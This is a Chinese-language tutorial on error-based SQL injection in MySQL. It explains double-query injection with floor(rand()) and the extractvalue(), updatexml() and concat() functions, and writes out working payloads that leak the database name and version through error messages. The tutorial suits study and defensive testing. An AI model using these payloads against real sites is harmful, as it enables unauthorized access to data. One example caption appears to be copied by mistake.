Error Based Injection和sql注入函数
文章目录
一、什么是Error Based Injection
Error Based Injection是sql注入的一种,就像中文意思表述的一样是基于错误的注入。可以从两个层次去理解它:一是寻找注入点的方式,是通过构造恶意输入引发数据报错;二是在回显受到限制的时候,可以通过构造特定的报错来获取数据库中的特定数据。
1、 利用回显的报错注入
这个过程也是不断尝试,进行猜测目标数据库的基本信息和sql语句构造的形式。
可以进行"单引号"、“1 and 1=1”、“1’ and 1=1’”、“双引号”,根据回显错误来判断。
2、 利用报错信息的报错注入
双查询注入,就是在查询中再套一个子查询。而双查询注入就是在通过双查询语句精心构造一些报错,这些报错信息将泄漏数据库数据。
1) 函数rand()产生一个[0,1)之间的随机数
2) 函数floor()的作用是取整
3) 函数count()用于计数
双查询注入的巧妙的地方就是floor(rand()*2))产生的数只可能是0或1,而且会在插入前和插入时被执行两次,并且两次结果可能不同也可能相同。
?id=1' union select -1,count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a -- -
如果两次的键值一样,就产生的重复的键值,而报错信息会告诉我们哪个键值重复,也就泄露了我们所想要的信息。
但是,由于随机性如果运气不好,可能要多试几次才能得到理想报错。
3、 利用函数构造报错
这种方式灵活方便,如下介绍几个函数。
二、extractvalue()
extractvalue()是对XML文档进行查询的函数,类似于HTML中使用各种标签查找元素,比如<div><a></a></div>
等,函数接收两个参数,第一个为目标xml文档,第二个参数是xml的路径。
语法:extractvalue(目标xml文档,xml路径)
其中第二个参数xml中的位置是可操作的地方,xml文档中查找字符位置是用/xxx/xxx/
这种格式。当我们写入其他格式时就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容恰好就是我们想要查询的内容。
比如
正常查询:
select truename from wz_admin where uid=1 and (extractvalue('everything','/xs/xx'))
如下图所示,sql语句正常执行,无任何报错。
异常查询:
select truename from wz_admin where uid=1 and (extractvalue('everything','select database()'))
如下图所示,sql语句正常执行,无任何报错。
接下来巧用concat()函数,来获取所需要查询的内容。concat()函数下面进行介绍。
select truename from wz_admin where uid=1 and (extractvalue('everything',concat('!',(select database()))))
如下图所示,由于以!开头的不是XML格式的语法,sql语句执行异常报错,而报错后进行了异常回显,并且执行了拼接的第二个()的参数,如此可以进行信息获取,达到目的。
还可以进行拼接
select truename from wz_admin where uid=1 and (extractvalue('everything',concat('!',(select database()),(select version()))))
注意:
extractvalue()能查询字符串的最大长度为32,也就是说如果我们想要的结果长度超过32,就需要用substring()函数截取,一次查看32位。
select truename from wz_admin where uid=1 and (extractvalue('everything',concat('!',substring(hex((select database())),1,30))))
三、updatexml()
updatexml()函数与extractvalue()类似,是更新xml文档的函数。第一个参数XML_document是String格式,为XML文档对象的名称,
第二个参数XPath_string(Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程,第三个参数new_value,String格式,替换查找到的符合条件的数据。
语法
UPDATEXML(XML_document, XPath_string, new_value)
UPDATEXML(目标xml文档,xml路径,更新的内容)
比如
正常查询:
select truename from wz_admin where uid=1 and (updatexml('everything','/xx/xx','everything'))
如下图所示,sql语句正常执行,无任何报错。
异常查询:
select truename from wz_admin where uid=1 and (updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1))
如下图所示,得到所需要的版本信息。
其他方式同理。
四、concat()
concat()函数是拼接多个字符串为一个字符串的函数,返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。注入中常用于可获取信息的字段进行拼接。
语法
concat(str1, str2,…)
select concat('first','second')
五、附录
参考链接:
https://zhuanlan.zhihu.com/p/74907340
https://blog.csdn.net/zpy1998zpy/article/details/80631036
https://www.jb51.net/article/125599.htm
https://www.jb51.net/article/125607.htm